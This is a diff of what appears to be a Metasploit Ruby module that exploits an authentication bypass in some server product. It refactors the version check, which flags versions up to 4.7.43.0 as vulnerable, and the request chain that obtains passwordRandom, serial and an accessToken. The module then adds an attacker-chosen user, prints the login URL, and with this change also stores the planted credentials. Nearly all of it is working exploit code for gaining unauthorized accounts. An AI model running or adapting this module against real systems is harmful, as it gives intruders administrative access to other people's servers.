@@ -50,23 +50,14 @@ def check
50
50
return CheckCode ::Unknown
51
51
end
52
52
53
- if res && res . code == 401
54
- data = res . get_json_document
55
- version = data [ 'Version' ]
56
- if version . nil?
57
- return CheckCode ::Unknown
58
- else
59
- print_status ( 'Version retrieved: ' + version )
60
- end
61
-
62
- if Rex ::Version . new ( version ) <= Rex ::Version . new ( '4.7.43.0' )
63
- return CheckCode ::Appears
64
- else
65
- return CheckCode ::Safe
66
- end
67
- else
68
- return CheckCode ::Unknown
69
- end
53
+ return CheckCode ::Unknown unless res &.code == 401
54
+
55
+ data = res . get_json_document
56
+ version = data [ 'Version' ]
57
+ return CheckCode ::Unknown unless !version . nil?
58
+ print_status ( 'Got version: ' + version )
59
+ return CheckCode ::Safe unless Rex ::Version . new ( version ) <= Rex ::Version . new ( '4.7.43.0' )
60
+ return CheckCode ::Appears
70
61
end
71
62
72
63
def run
@@ -79,8 +70,7 @@ def run
79
70
unless res
80
71
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
81
72
end
82
- case res . code
83
- when 200
73
+ if res . code == 200
84
74
json = res . get_json_document
85
75
if json . key? ( 'passwordRandom' ) && json . key? ( 'serial' )
86
76
password_random = json [ 'passwordRandom' ]
@@ -115,8 +105,7 @@ def run
115
105
unless res
116
106
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
117
107
end
118
- case res . code
119
- when 200
108
+ if res . code == 200
120
109
json = res . get_json_document
121
110
if json . key? ( 'accessToken' )
122
111
access_token = json [ 'accessToken' ]
@@ -149,10 +138,10 @@ def run
149
138
fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
150
139
end
151
140
152
- case res . code
153
- when 200
141
+ if res . code == 200
154
142
json = res . get_json_document
155
143
if json . key? ( 'code' ) && json [ 'code' ] == 200 && json . key? ( 'error' ) && json [ 'error' ] == 'OK'
144
+ store_valid_credential ( user : datastore [ 'NEW_USER' ] , private : datastore [ 'NEW_PASSWORD' ] , proof : json )
156
145
print_good ( "New user '#{ datastore [ 'NEW_USER' ] } :#{ datastore [ 'NEW_PASSWORD' ] } ' was successfully added." )
157
146
print_good ( "Login at: https://#{ datastore [ 'RHOSTS' ] } :#{ datastore [ 'RPORT' ] } /#/login" )
158
147
else
0 commit comments